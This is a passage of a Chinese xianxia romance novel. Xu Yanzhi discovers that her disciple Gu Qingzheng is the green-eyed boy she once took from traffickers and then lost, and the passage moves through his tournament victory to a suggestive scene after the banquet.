从发梢开始,细致地亲吻她,一点一点,自上而下,姿势是狎昵而亵渎的,神情却是纯洁而温情的。 他凑近了吻她,闭上眼,藏起了脸上的神情。 指腹划过背脊时传来了柔润与粗糙两种触感,不知是哪一种打败了他,让他难以自已地卸下心防,说出了难为情、近似示弱的话语。 极致的羞赧生出了难堪,顾青峥只愿他的吻足够炽热,让身下人莫去分辨他言语里的软弱。 他的怀抱分明那样温暖,徐宴芝却十分僵硬。 她不懂他的转变,那些绵密的,隐隐藏在欲望下的恨意去了哪儿,他变得情人一样可爱。 她不习惯,她莫名升起的毛骨悚然的熟悉感,好似再犯同一个错误。 踏上结着薄冰的湖面,不知哪一步,便要将它踩碎,永远地坠入黑暗。 “我们是共犯啊……” 徐宴芝不知看向了何处,喃喃说着,伸手捂住了顾青峥的眼睛,露出了冰凉的笑意。 她不需要共犯。 她只要一个人,踽踽独行,一直走到命运的尽头。 镜子无声照着纠缠在一块儿的男女,他们靠得那么近,又离得那么远。 这一夜太阴峰上没有小弟子值日,顾青峥一直到第二日清晨才从无名小院离开。 第32章 第三十二章前尘往事 昨夜劳心劳力,徐宴芝忙活了到了天微微亮起才睡下。 这一觉便睡到了日上三竿,连顾青峥是何时离开的也不晓得,即便如此,她睁开眼时微微一动,也依然感到身体传来阵阵酸痛。 徐宴芝揉了揉腰,瘫在床上叹了一口气。 她的身上好好的盖着被子,没有一寸肌肤露在外头,似乎被人好好的整理过了。不仅如此,不远处的桌上还放着一杯仍旧热气蒸腾的炊玉饮。 透过炊玉饮上的雾气看去,窗上的花都扭曲了起来。 很难说明现下徐宴芝的心情,顾青峥去过了旧城,发觉了她的来处,知晓了宇文令死去的真相—— 他握着可以一击毙命的武器,为何隐忍不发,为何不杀了她,而是只阴沉沉地纠缠着她,甚至还自爆了同样一个致命把柄,交到她的手中。 顾青峥越发像一团湿乎乎、黏答答的浆糊,像他细碎地落在她面颊上的吻,搅和的徐宴芝跟着失了利落,一头栽进了浓郁的大雾中,周身再也没有一处干爽的地方。 徐宴芝的眼神阴郁起来,她掀被起身,下床随意地挑了件衣裳穿上,坐在桌前拿起梳子整理发丝。 抬手间,她不经意地看了一眼桌上的镜子,只见镜子明晃晃地,将她脖颈上红痕照得一清二楚。 她此时懒得要命,并不想用仙法遮掩,啧得一声将梳子拍在桌上,恼怒地起身寻了一件领子更高的衣裳,脱下身上的打算换上。 这一回,她穿衣前仔细地看了镜子。 镜子里倒映出一个身形曼妙的女子,胸前腰间均留下了大片暧昧的印记,一直蔓延到了大腿间。 看着这些印记,昨夜那些荒唐的画面又出现在徐宴芝脑中,她的脸有些发红,半晌后,方才叹息着穿好了衣裳,低声自嘲道:“我是旷久了,发了昏了。” 今日仍旧是弟子大比日,太阴峰上冷冷清清的,徐宴芝上午没露面,下午也不打算再出现,唤了刚刚比完回山上的小弟子套车,坐了飞虎车下山。 她去仙城中有事。 山上子弟大比如火如荼,山下仙城也热闹极了。 十年一次大比,仙家的子侄们都在其中,最后是留在内门,还是被人替换了去了外门,或者又有表现的亮眼的,被长老看中收为亲传弟子了,不论对几流仙家而言都是大事。 仙城门前那一条街上干脆弄了个大告示,不断有人从七峰设在山下的大观中听了最新情况,跑过来写在告示上。 徐宴芝这回没让小弟子们架着飞虎把她送进城,而是在城外下了车,伪装了一番,独自一人步行入了城。 甫一入城,便见识到了这般热闹,走到前头再一看,只见告示上最大一行字写着——掌门亲传弟子闵道一阵法小项不合格。 徐宴芝一怔,仔细一听,发觉旁的弟子拿了多少合格且没人提,众人都在津津乐道闵道一这个不出世的奇葩,身为掌门亲传弟子,竟拿了不合格。 这真是,教她听了都臊得慌。 伪装成老妪的徐宴芝眼不见为净,远远躲过街上告示,绕了一大圈,来到了上回曾踏入的那间商铺。 她如法炮制地走到帘子后,将自己上回请掌柜办得事说了明白。 精明的掌门但笑不语,伸手向她比了一个数。 徐宴芝从锦囊中拿出了掌门想要的东西,却又在他伸手来拿时收了回去。 老妪声音沙哑道:“我要先听。” 掌门笑了笑,展开了一柄羽扇,在这冰天雪地的地方扇起了风,叹道:“您要问的事实在隐秘,若不是我久在这行做,背后东家势力强大,旁人当真不知道。” 自吹了一番后,掌柜正色道:“您上回问的顾家,确实有一桩丑闻,并且内情颇多。” “北域人人都知道,顾家之所以只认顾青峥为养子,乃是因为他来路不正,他母亲不是顾家明媒正娶的女子,只是依附顾家生存的小仙家,为了颜面,顾家只说看中他的天赋,视同家中子侄看待。” “但据在下多方打听,才明了其中还有一番缘故,顾青峥的生母,并非顾家流传的那般,来自北域小仙家,而是——” 掌柜买了个关子,停顿了一会儿。 “——来自西域的女奴,听闻顾青峥的亲生父亲,生性浪荡,不过去了一趟西域,便带回了一个绿眼睛红头发的女奴,女奴肚子已经大了,里头便是顾青峥——” 掌柜说到绿眼睛时,徐宴芝便觉得脑中一片空白,后头他再说什么,也全变做了嗡嗡声,再也听不懂了。 顾青峥若是长了一双绿眼睛。 刹那间,那个总是出现在她的噩梦中的活物,那个依偎在她胸前,质问她究竟为何要那样做的、面目模糊的活物长出了一张清晰的脸。 ‘它’倏然长大,变做了顾青峥的样子,幽怨地、阴沉地伏在她的胸前,细细碎碎地不住亲吻她,从发梢一直到脚尖,越来越密集的湿意落在她身上。 “当时,您为何要那样?” 顾青峥搂着她的脖子,抬起头来,一双翡翠般的眼睛带着恨意定定地看着她,拉长了声音问她。 这就是她那些莫名的熟悉感、以及他那些不知从何而来的恨意的缘来吗。 “客人,您可还好?” 她的表情或许是太难看了,掌柜停了下来,犹豫地伸手在她面前挥了挥。 “方才你说的,我有些没听清,劳烦再说一回。”徐宴芝攥紧了拳,定下心神,沉声道。 “我方才说,那女奴生下顾青峥后,顾家一瞧,竟然也是个绿眼睛的孩子,大怒之下,便不愿意相认,您也知道咱们北域守旧,七峰之上,全是黑发黑眸的北域人,一个绿眼睛的异类,在北域这辈子唯有做奴隶、做下人的份。 女奴倒是刚烈,听闻顾家不认,当即对她夫主道,孩子有顾家一半骨血,她是个只能感受到灵力的半个凡人,她的血脉敌不过顾家,顾青峥长大了定然会变成他们的模样,若是他们担心因为她,给她的孩子留下把柄,她便立即去死。” “所以她死了?” “嗯,当场自己抹了脖子。”掌柜的在自己脖子前用手刀比划了一番。 “但顾家仍旧没有善待这个孩子。”徐宴芝喃喃道。 掌柜先是一惊,然后了然地笑道:“您来问这件事,想来是对顾家有了些了解,的确,据说顾家养的随意,顾青峥年幼时走丢过一段时间,也不知是何时被找回来的。” 原来他没有死,而是被顾家找了回去。 心中闪过了万种思绪,徐宴芝艰难地站起身,将预先说好的报酬给了掌柜,往外头走去。 “好走,若是有需要,下回再见。”掌柜彬彬有礼地起身,将徐宴芝送到了门口。 老妪弓着背,慢吞吞地走上大街,不一会儿便没了踪影,掌柜仍旧站在原地目送。 “那位是伪装吧?”他身旁的小伙计也伸出脖子看,出声问道。 “嗯。”掌柜点了点头,“找上咱们打听这个,不就是看中咱们背后的吕氏仙家吗,想来有些来头,不愿在外头透露了身份。” 徐宴芝不知背后二人说了些什么,她围着仙城绕了几圈,去掉了身上的伪装,出城寻了飞虎车,匆匆往山上去了。 到了太阴峰上,恰巧又碰上了弟子们比完了大比回弟子舍,乌央乌央的人群逆向走来,飞虎车缓缓穿过人群,停在角门上。 徐宴芝下了车,步伐不稳地往她的无名小院走去。 进了院门,便立刻将自己扔进床上,整个脸埋在枕间。 或许是昨天白日灵力消耗太多,晚上又与顾青峥纠缠了一晚,哪怕喝下了炊玉饮,此时她的四肢也不自觉地发起抖来。 又或者这是某种情绪,慢慢侵染了她,教她如坠冰窟,先是冷得发抖,接着胸口又热起来,蒸得人头脑发昏。 她想她是病了。 昏昏沉沉之间,她再一次被迫看到了从前时候。 月亮照着大地,风吹过了荒野,年少的她伏在一片树丛之间,垂涎欲滴地闻着前头营地中传来的食物的香气。 营地里驻扎着一队商队,从南边来,要去远处的新临渊城,她悄悄跟了他们一路,从听来的只言片语中拼接得来了这些讯息。 她在树丛间埋伏了许久,等到营地里渐渐安静下来,才敢抬起头,眯起眼睛看向那个方向。 营地篝火烧得很旺,离得那样远,却刺得海娜流下泪来。 她连忙低下头,捂住了眼睛。 海娜已经爬上无尽之崖一个多月了,天上的一切都如同她想象中的那样美好,除了一点。 她的眼睛,在上来的第一日便被升起的太阳灼伤了。 作为永不见天日的幽冥人,海娜不知道阳光竟然能给她带来这样大的伤害,崖下的老人说了无数关于地上的事,却从来不曾提到这一点。 海娜将自己藏在野兽打得洞里,直到她的眼睛不再一睁开就流泪。接受不了在日间行走,她只能在黑夜中行动,每当太阳升起前,她就要找到能遮挡日光的庇护所。 即便是这样,她的眼睛也坏了,非得在黑暗中凝神去看,才看得清楚。 若原本就生活在地面上,恐怕很难活下去。 万幸她来自幽冥,拥有卓越的生存能力,靠着草根露水便能活下来,更何况崖上的世界如此富饶,到处都能找到解渴的溪水,长满果实的树枝。 对这个世界更为熟悉了以后,海娜在荒野中发现了一条商路。 这里时常有来来往往的商队路过,夜晚,商队会在不远处的空地上驻扎,他们随身带了许许多多的物资,还有海娜从未见过的食物。 知道了这一点后,海娜不再只靠着野果溪水生存,等到半夜,营地的篝火熄灭,伸手不见五指时,她会偷偷潜入其中,去翻找商队吃剩下的食物—— 海娜做梦也想不到,天上如此富饶,以至于天上人竟然不会将做好的食物吃个精光,真是奢侈极了! 这一回也是,她耐心地又等了一会儿,待到远处连篝火也熄灭了,海娜蹑手蹑脚地佝偻着背,小心翼翼地往营地走去。 到了地方,她缩在背风处,伸头凝神看了一眼。 只有一丝月光的情况下,她将整个营地的状况看得一清二楚,篝火的灰烬旁散落着许多骨头,还有咬了一半的果实,隔了这样久,似乎还能闻到香气。 海娜缩回头,肚子发出了咕咕的响声。 她伸手捡起一块石头,砸向营地中。 石子落在营中泥土上,发出了轻微的响声,没有惊醒任何的人,商队的帐中只有此起彼伏的鼾声。 海娜见状,弓起了身子,一溜烟地钻进了营地,她眯起了眼睛,几乎把脑袋贴在了地上,仔细弯腰在篝火附近寻找着食物。 一边警惕着,一边将找到的食物囫囵吞下肚,海娜环视着营地,将嘴巴塞得满满的。 这时候,她听到一个地方传来了细微的怪声。 海娜立即停下嘴,小心翼翼地听了一会儿。 似乎有谁呜呜咽咽的,鬼哭一样。 她吓了一跳,连忙放弃进食,叼着半个果子就跑。 跑了一半,忽然觉得有些不对,那个声音像是孩子,是一个孩子 在哭泣。 海娜顿住了脚步,站在营地边缘,咬着果子,天人交战起来。 在她纠结时,耳边又传来了那个孩子微弱的哭声。 她闭上眼睛,两口将果子吞下,深吸了一口气,转身回了营地中,循声在营地偏僻处,商队运货的马车上,找到了一个箱子。 这个箱子不大,由一个大锁锁着,上头有一个孔。 海娜凑近了听,还能听到里头压抑的呼吸声,似乎里头那个孩子也听到了她的动静,害怕极了,强压着自己不许再哭。 海娜想了想,从篝火旁捡了一根用来扒灰的铁棍,她将铁棍插进箱子的锁,用尽全身力气,猛地一掰。 锁被她撬开的同时,箱子发出了尖锐的尖啸声,瞬间炸开了整个营地。 这样危急的关头,海娜反而镇定了下来,她稳稳地打开了箱子,从里头抱出了一个瘦弱的孩子,夹在腋下,一个翻滚,抢在商队里头的人还未靠近马车时逃离了这里。 正是睡得沉稳时,人忽然听到警报,尚未反应过来,到处寻找火把的短短一瞬,给了能在黑暗中活动的海娜机会。 她趁着夜色,带着那个装在箱子里的孩子,远远地离开了营地。 海娜留了个心眼,没有带着小孩回她的地洞,而是另外寻了一片树林,钻了进去。 她找了一颗大树,将孩子放在了树下打量。 因为眼睛不好,海娜几乎把脸凑到了孩子的眼前,她眯着眼看了许久,后知后觉地意识到,这个惊恐看着她的孩子,长了一双绿色的眼睛。 像宝石一样漂亮,海娜想着。 “喂。”她退后了一步,凶神恶煞地对那瑟瑟发抖的小孩呲牙,“你刚刚哭什么,你是不是被拐走的,要是我弄错了,我现在就把你送回去。” 绿眼睛的孩子闻言,再也忍不住抽泣起来。 他摇着头,在海娜身前跪下,祈求道:“不,我是被他们拐来的,请您不要把我送回去,求求你了。” 小孩的身影倒映在海娜眼中,她看着他如惊弓之鸟般的哀求着自己,心里慢慢膨胀了起来。 她想,既然他不愿意回去,我抢来的,就是我的了。 第33章 第三十三章回不去了 “那你就是我的了。”海娜得意地笑了起来,她伸手摸了摸小孩儿柔弱的头发,“你叫什么?” “我叫、我叫绿奴。” 被海娜抢来的孩子眼神闪躲,磕磕巴巴地编了个名字。说完他便后悔了,身子一缩,抱着头,唯恐海娜动手打他。 可惜海娜来自无尽之崖,不懂这个名字编得多拙劣,也瞧不见绿奴心虚的眼神,趾高气扬地点了点头,叉腰道:“你叫我主人。” 绿奴倒吸一口气,扁了扁嘴,有些抗拒地不愿叫出口,他本以为这个善良漂亮的少女与那些人贩子不一样,没想到她也打的这个主意。 海娜等了一会儿,绿奴垂首不吭声。 她不耐烦起来,低头凑到他面前,琥珀色的眼睛微微一瞪,暗示道:“我是你的主人!” 绿奴表情一怔,缓缓俯下身子唤道:“主人。” 他虽然看上去很瘦小,但却是属于她的东西,海娜高兴极了,她爬上无尽之崖这样短的时间里,就拥有了绿奴。 她不知道这个孩子有什么用处,但这是属于她的战利品。 从此以后,她会越过越好,她会拥有想要的一切! 有了绿奴过后,海娜的日子的确过得更轻松了。 因为眼睛,白日里她很难行动,便要绿奴警惕着为她放哨,遣他干活,到了夜里,海娜便把绿奴藏在地洞中,自己摸黑出去找食物,喂饱两个人。 开始的一段时间里,海娜并不放心绿奴,生怕他跑了,让她失去了唯一的战利品,一直小心地用法术控制他。 但绿奴并不是坏心眼的小孩儿,他生得瘦弱,却能吃苦,海娜让他做的事,后来即便不用法术暗示,他也愿意拼命去做。 只是他极容易受惊,海娜不经意地抬手、外头有风吹草动都能让他猛地缩起来。 于是海娜明白了他从前过得并不好,或许与她一样,幼时便失去了父母的庇护,是像草芥一般活着的人。 她想,真好,他们应该是同类。 有了同类可以跟她交流,海娜许多年来头一次感到非常快活,她很乐意每日与绿奴并肩坐在树枝上,分享她找来的食物。 林间的风吹动树梢,哗啦啦地直响。 海娜与绿奴皆惬意地摆动双脚,说着白日与夜晚的见闻,你一口我一口,一起咬下同一颗果子。 天逐渐冷了起来后,海娜更是庆幸抢来了绿奴。 天上第一次下起雪时,她茫然地站在空地里,伸手去接飘落的雪花,雪花一片片落在她的掌心,又因她的体温化作水,冷得海娜一激灵。 她没见过雪,她偷偷在想着,海娜花能开在崖下,开在地面,或许也能开在云朵上,这是云上的海娜花。 云上的海娜花太过寒冷,还好她有绿奴。 天寒地冻,她抱着绿奴藏在山洞里,睡在拾来的干枯绒花上。绿奴乖顺伏在海娜的胸前,小小瘦弱的身子十分暖和,像是火炉一般让她度过寒夜。 这样的日子过了几年,再后来,绿奴只需要她的一个眼神就能为她分担一切,他长得越来越高,抱在身前时,竟然比海娜还要高一点。 有时候海娜醒来,发觉他们不知不觉翻转过来,她蜷缩在绿奴的怀中,被他紧紧护在胸前。 黑暗之中,他沉睡着,闭着眼。 瞧不见那双漂亮的眼睛,她也不愿意费心去看,只迷迷糊糊地伸出手,一点一点地用手去触碰他的眉眼,他的嘴唇。 陷入甜梦前,海娜有些不满,她明明长高了一些,却远远赶不上绿奴生长的速度。 他们一起流浪的日子,绿奴慢慢高过了海娜,开始主导一些行动,他不动声色地带着海娜几次进了凡人的城镇,趁着夜黑风高在城中瞎逛。 城里的一切都是海娜不曾见过的,无尽之崖下也有‘城’,但与凡人的城镇比起来,可差得太远了。 海娜不愿暴露自己的身份,也不愿意在自己的小奴隶面前露怯,即便她十分惊诧夜里费劲看到的一切,也在绿奴面前将这些小心思掩饰的很好。 只是在心底,海娜有了上崖后的第一个目标。 她要在这样漂亮的城里,拥有属于她和绿奴的一席之地。 那个时候,不知天高地厚的海娜意识到了,时隔多年,她再次拥有了家人。 她想了许多办法,带着绿奴进了城,与地头蛇小乞儿们争斗了许久,在破庙里有了能遮风挡雨的住处——但破庙残破得不成样子,能遮雨的地方仅限小小一隅。 透过屋顶,她甚至能看到天上的星星。 这小小一隅与从前的树梢一样,给他们带来了最单纯的快乐。在夜里,海娜会满怀欣喜地抱着绿奴的胳膊,将头靠在他的肩上,笑嘻嘻地与他一齐抬头看,数着天上究竟有多少星星。 她满怀憧憬,觉得这是他们的起点,但却不知这已经是两个无依无靠的少年可以走到的终点了。 忘了自己究竟几岁,只依稀记得还不到二十的海娜,也并不清楚自己的长相,她其实已经出落的足够美丽。 绿奴每次都很小心地用墙灰抹黑她的脸,不教外人发觉她的模样。 可绿奴忘了,他自己也已经是漂亮的少年郎了。 这样两个无依无靠的美少年,仗着生来就有的一点奇遇,常年在城中游荡,终于落入了有心人的筹划中。 他们设下了陷阱,先抓住了落单的绿奴。 绿奴强行挣扎,身体甚至爆发出了灵力,但他到底没有修行过,反而因为灵力爆发让其中一人受了重伤,彻底激怒了他们。 他们下了重手,彻底让少年失去了行动能力。 绿奴的脸被狠狠按在他自己流的血泊里,灰尘迷了他的眼,哽住了他的喉咙。 他绝望地看着远处,他知道海娜就藏在那里。 他的双手被反剪,绿眼睛里布满了红血丝,直到落下泪来,直到被再一次塞进马车里,他都咬着牙,一声不吭。 当然,海娜也没有出现。 后来,海娜也曾向小乞儿们打探过消息。 他们说长得好看的少年被拐走后,是活不了几年的。 “长得好看?什么样才叫长得好看?”海娜很茫然。 “就是,又白,眼睛又大,皮又嫩。”小乞儿们也说不明白,糊弄地说了几个词。 “白,眼睛大。” 海娜复述着他们说的话,慢慢地摸上自己的脸。 她想问问,她这样的算好看吗,但话到嘴边,海娜又咽了下去,她记起了绿奴每一回在她脸上抹灰的神情。 他皱着眉头,很严肃的模样。 海娜颤抖了一下,转身躲回了破庙的角落里,不仅仅因为感受到了危机——她发现自己脑中的绿奴永远都是夜里,十分模糊的样子,唯有一双绿眼睛,漂亮得很。 她只记得他的眼睛,她该怎么去找他呢。 那时候已经到了深秋,海娜失了绿奴,既茫然又寒冷。 她想自己或许从来不是自己想象中的样子,其实她只是个寻常又怯懦的人,怯懦到眼睁睁看着绿奴被带走,却不敢制止。 从那时起,每当她入睡,总是会梦见绿奴,梦见他翡翠一般的眼睛,梦见他口气或平常、或愤怒,问她为什么要这样做。 海娜畏惧起了一切,她打算回到荒野。 可那些小乞儿对她怀恨在心,他们出卖了她,让她也尝到了绿奴当时的痛苦。 她被捉住,关在了小箱子里。 后来辗转了几次,她浑浑噩噩地被徐宴芝的父亲买下。 他们父女需要一个体面好看的女奴,随意地用了药,便治好了困扰了海娜许多年的眼疾。 她终于看清楚了这个世界与它的残酷。 又过了许多年。 海娜已经变成了徐宴芝,绿奴也没有死。 他好好的活着,因为当时展示了对灵力的使用,而被顾家找了回去。 回去之后,一流仙家珍贵的血脉展现出了无与伦比的天赋,绿奴得到了顾家养子的身份,和一个真正的名字。 再长大了一些,他身上来自母亲的血脉被彻底压制,漂亮的像翡翠一般的眼睛变成了沉闷无趣的黑色,曾经微微卷曲的头发变得顺直如瀑。 他本以为这一辈子再也见不到的人,却换了一个无法触及的身份,在此界之巅与他再次重逢。 他带着刻骨铭心的记忆,没有片刻将她忘记。 可她不但抛弃了他,忘了他,还攀上了高枝,将他和从前的一切一起,弃之若履。 徐宴芝反复在脑中推演着、思索着顾青峥应当有多恨她。 走到如今这一步,她的心似寒冰,过去的情谊与记忆的确已经被她忘在了过去。 可他还在意,他竟然还在耿耿于怀。 他甚至在意到,发觉了宇文令之死的真相后,试图抛却他藏在心中数十年的恨。 复杂的情绪涌上心头,徐宴芝咬紧牙关,攥紧了拳,狠狠地,一下一下地砸在床上。 她很用力,很快,没有淬体过的手开始发痛。 这痛让她找回了一些神智,她喘息着直起了身子,扶着墙,坐在了桌前。 把镜子拿在手中,徐宴芝定定地看着镜子里的自己。 面色不太好,唇色也有些苍白,她拿起妆奁,两个月来,第一次认真地妆饰起了自己。 抹了一些妃色在唇瓣,镜子里的女人立即明艳起来。 对不住了。 她颤抖地用力揉擦着嘴唇,想要让颜色更为柔和一些。 他们都回不去了,如今之际,谁耽于情爱,谁就要踏破那层薄冰,坠入无法自已的深渊里。 她不愿再将自己的性命交在旁人手里。 即使是绿奴,也不可以。 又一日过去,七峰的弟子大比终于要落下帷幕。 这最后一日最后一场比试,便是最重要的仙法比试,李能意的爱徒张幼琳一路过关斩将,将要遇上上次大比的最终胜者顾青峥。 他们二人也是下一任掌门的热门候选人,因为这个,也为这次比试增添了一些重量。 北域所有的目光,此时都聚集在了摇光峰授业堂前的广场上。 高处坐着七位长老与徐宴芝,另有无数想要观摩比试的小弟子,团团将场地围住。 顾青峥与张幼琳分站在两头,各自祭出了本命法宝,只等牧杨一声令下,便要上前缠斗。 徐宴芝这回坐在吕敏之与周云子之间,因为场中两人修为都高于她,她预备着若有瞧不明白的地方,要请两位长老为她讲解一番。 牧杨上前,正要喊开始。 徐宴芝侧头轻声问周云子道:“周长老,你看好谁?” “顾青峥。” 周云子双手交叉抱臂,懒洋洋地倚在交椅上道。 李能意拿眼睛横了她一眼。 “我也觉得是顾青峥。”吕敏之不知从何处摸出小零嘴,往自己嘴里塞了一个,又分给身旁二人。 她全然不出意料的也得了李能意一个白眼。 两位长老都这般说了,徐宴芝不知是何滋味,在心中叹了口气。 果然,牧杨一喊开始,张幼琳便先发制人开始强攻,她手持一条长鞭,舞得虎虎生威,水泼一般砸向顾青峥,可—— 攻了许久,半点没有攻破顾青峥手中长剑的防御。 “张幼琳若是再攻不破,怕是要被顾青峥反制,我看她本命法宝都要被反制掉。” 周云子侧过脸来与徐宴芝咬耳朵。 “反制旁人的本命法宝有两招,一招你等会看,便是直接正面击败它,第二招便是要持宝人对你毫无戒心,你再将精血涂在法宝上,也能行。” 吕敏之也絮絮叨叨对徐宴芝讲解起来。 徐宴芝嗯了一声,皱眉看着下头明显攻势渐缓的张幼琳,轻声道:“幼琳好像后继无力了。” “嗐。”周云子耸耸肩,“八成她跟她师父商量的战术呢,知晓幼琳修为不如顾青峥高,仙法也不如他修得扎实,便想看看不留余力猛攻一番,能不能打出顾青峥一丝破绽来。” 周云子话音未落,场中张幼琳啊得叫了一声,手中长鞭果然被顾青峥终于反击的雷霆一击打得脱手飞起,人也重重摔在地上,眼见着没了知觉。 这场比试七峰众人齐聚,等都等了一个时辰,打起来却一眨眼就结束了。 “幼琳!” 长阶上的李能意大喊一声,不顾形象地从台上飞驰到了张幼琳身旁,小心地将她扶起。 他眉头紧锁,但除了他以外的七峰众人,都赞叹地看着发丝也不曾乱的顾青峥。 万众瞩目之下,顾青峥回头,视线越过人群,落在了高高在上的徐宴芝身上。 徐宴芝也垂眸看着他。 视线相交时,好似摇光峰没有人声鼎沸,他们之间空无一人。 第34章 第三十四章酒后沉沦 十年一回的弟子大比,比完后几家欢喜几家愁。 有那些仗着内门弟子身份懈怠修行的,满脸愁容的被勤奋的外门弟子取代,也有几个在大比中大放光彩的,被牧杨、任重阳看中,决心带在身旁亲自教养。 还有直到大比后的宴席要开始了,还未曾醒来的张幼琳。 教徐宴芝说,这位仙子恐怕早已醒来,只是她觉得在众人注视下大张旗鼓地输给了顾青峥,脸上挂不住,才佯做昏睡。 反正她师父一向护短,总不可能逼着她现身人前。 顾青峥拿了头名后,牧杨唤来小弟子,当即在摇光峰演武场上改造了一番,数十张长桌摆上、柔软的地毯铺上,早已准备好的美酒佳肴瞬间塞满了桌。 十年一回的大事圆满结束,当然要好好庆祝一番。 徐宴芝端坐在高台上,遥遥注视着被师弟师 妹们团团围住的顾青峥,看着他嘴角扬起,不住温言说着什么。 他在门人面前从来温和,此时又是他极为光彩的时刻,后辈一向喜爱他,不论从前是否说过话,都上前围着他庆贺,隔着好远,都能听到无数不重样的夸赞。 看了一会儿,徐宴芝只觉得太阳刺眼,收回了视线,半阖上眼皮。 门人们眼中感情那样真挚,他们知晓顾青峥的另一面吗。 他们知道这个孽徒与师娘一块儿杀了自己的师父,爬上了师娘的床,今日清晨方才从无名小院中离开吗? 澄澈的情感充斥着摇光峰,众人的视线光明又坦然,却有两个卑鄙小人,一样的烂到骨子里,装模作样地套上正人君子的皮囊,接受着欢欣的注视。 思及至此,隐秘的快感袭上徐宴芝心头,她不留痕迹地伸手拂过嘴角,藏起了一抹意犹未尽的笑。 旁边的周云子恰巧侧头想与她说话,见状笑道:“怎么,顾青峥赢了,你这样高兴吗,我怎么记得你们俩不太好来着。” “没有的事,我看着青峥长大,也算是长辈,他赢了,我自然替他高兴。” 提及长辈二字,徐宴芝更是止不住笑出了声,眉眼弯弯,动人极了。 逗得周云子和吕敏之都笑了起来。 “少拿长辈来说事,我瞧你们说是一对小情……”周云子说到这儿,挨了吕敏之一记眼刀,自觉不妥,打着哈哈又说起了别的,“听闻了没有,询天阁那头传言,按照现下的灵力波动情况,莫约三个月后,便可以开山门了。” 这件事只有周云子听说了,闻言,徐宴芝便失去了笑容。 三个月后,一切都结束了。 她忍不住抬头看了一眼远处的顾青峥。 算得上正巧,顾青峥正往高台处走,与她的视线撞在了一处。 这一回,徐宴芝并未率先逃避。 顾青峥迈步上前,在她的视线中不断放大,她近乎贪婪地打量着他,像是从前从未见过他一般,看他眉飞入鬓,看他深幽上扬的眼睛,看他薄而直的唇瓣。 他再次出现在她面前时已经成人了,身上处处紧绷,瞧不出年幼时的模样。 她想从现下他的眉眼中找寻一些曾经的痕迹,只是看了许久,也看不出绿奴的影子。 徐宴芝只能遗憾承认,那些日子距离现在太久了,经历过太多的坎坷,她当真已经将他忘了。 顾青峥走上高台,为的是向门人们展示北域七峰头名的风采,牧杨正站在长阶尽头等着他。 他本也应该走到牧杨身旁,接受长老对他的嘉奖。 只是,高台左边坐着的那个人,看向他的眼光有些过于炽热了。 走到最后三界台阶,顾青峥不自觉地转而向左。 徐宴芝立即发现了他的企图,眼风如刀,狠狠剐了他一眼。 顾青峥有些遗憾,在倒数第二节长阶收回了腿,按照原来的计划,继续朝着牧杨走去。 当众击败了张幼琳,如今几乎整个七峰都将他视作了下一任掌门,长老们待他也愈发不同起来,一贯不苟言笑的牧杨甚至对顾青峥挤出了一个笑容。 他推着顾青峥,要他说几句,勉励一番后头的师弟师妹。 顾青峥并不推脱,迎着众人的注视,说着鼓励的话语。 他赢得了台上长老意味深长地注视,台下门人崇拜仰视的欢呼,好似他已经板上钉钉地要入主太阴殿,成为北域之王了。 毕竟,唯一能与他竞争掌门之位的张幼琳输给了他,七峰之上,还有人能觊觎那个位置呢。 顾青峥背对着徐宴芝。 他不知道此时她在用什么表情看他。 既然是为了犒劳弟子们的辛苦,话便不宜说的过长,让下头的门人们嗅着美酒醇香而不得入喉。 顾青峥略说了几句,今日的大宴便正式开始了。 小弟子们为了此番大比做了多少准备,此时都松懈下来,大声说话大口喝酒大饱口福,上头的长老们全当没看见。 酒过三巡,小弟子们更是亢奋,排队去向端坐在长桌上首的顾青峥敬酒,顾青峥来者不拒,不论是谁来敬都一口喝下,将气氛炒得更火热,众人此起彼伏地高声叫喊,颇有猿兽之风。 吕敏之挑眉看着下头发疯的众弟子,转头想要就顾青峥揶揄徐宴芝两句,没想将她望着徒儿一脸复杂的模样看在了眼里。 吕长老倏然生出了微妙的感觉,只是刚想要细细分辨,察觉了她视线的徐宴芝叹息对她道:“这酒不如上回的好。” “什么家底!回回都要喝最好的酒!”吕敏之立即将心思用在了反驳她上,“雪林草现下用来酿酒太亏了,这回人多,喝次一点的酒正正好。” 徐宴芝望着她但笑不语。 “不许笑了。”吕敏之沉下脸。 “吕家近日挣得盆满钵满,你笑得她心虚。”周云子砸吧着嘴,在一旁说怪话。 吕敏之又转而瞪她。 三人开着玩笑,不知不觉月亮已经升到了正中。 “我要带幼琳回去了。”李能意一晚上心神不宁,这回站起身来要走,大家都应了,催着他带徒儿回去好生养着。 有人第一个离席,后头便接二连三地有人要走。 小弟子们也醉得撒了满地,从高处看,像芝麻般横七竖八黏在地上,教人看了眼痛,只想一扫帚扫净。 徐宴芝有了几分酒醉,挥别了众人,要返回太阴峰。 她见台下两个徒儿一静一动,顾青峥坐得笔直,微笑着听着周围人的醉语,闵道一大比丢了人,喝醉了在地上打滚,都不是能走的模样,便决定独自乘舟回去。 只是踉踉跄跄地扶额走到灵舟旁,顾青峥居然提着一个酒壶不紧不慢地追了上来,抢在徐宴芝前头为她打开了门。 他们站得很近,鼻尖都要撞上了。 “竟是一声不吭就要走。”他幽幽道。 “你不是忙着吗。” 徐宴芝站不稳,索性软在他怀里,揽着他的脖子被送入了舟中。 顾青峥搂紧了她的腰,关上门,顺势便将她压在了身下。 两人的身躯紧紧贴在一块儿,彼此都很清楚身体产生了一些变化,双手皆拥紧了对方,长长地接了一个醉醺醺的吻。 只是口里还有残酒似的,越是在唇舌上较量,就越是醉。 此时他们还在摇光峰,外头闹哄哄的,到处都是酒鬼在寻灵舟回弟子舍,叫嚷与笑声近在咫尺,仿佛下一瞬就有唐突的门人要打开这架灵舟的门,将两个方才还端庄的长辈与子侄赤条条展示在大众眼前,让大家都瞧明白这二人是如何失态地纠缠对方。 徐宴芝斗篷下穿着薄衫,紧紧贴着肉,显出了窈窕的身段,教手在上头游走时,闹不清是丝缎顺滑,还是她的柔软。 “您方才说,这回的酒不好?” 地方不对,顾青峥强忍着抬头,转移了此时自己的注意。 徐宴芝嗤笑一声,勾住他不放,张口从他耳尖咬起,一点点啃到顶,含糊道:“这耳朵倒是灵,什么做的,不如让我尝尝。” “不如尝尝好酒。” 顾青峥伸手捞起跌落在一旁的酒壶,打开饮一口,捏住徐宴芝的下巴哺进她口中。 徐宴芝猝不及防,醇香的酒液自二人嘴角滑落下来,浸湿了脖颈与衣襟,随着动作起了一丝黏意,粘得衣裳跟着褶皱起来。 他们在灵舟中,不论如何动作,外头总是瞧不见的,只是顾青峥得来的这壶雪林酒太过香醇,酒香四溢,竟是传到了外头。 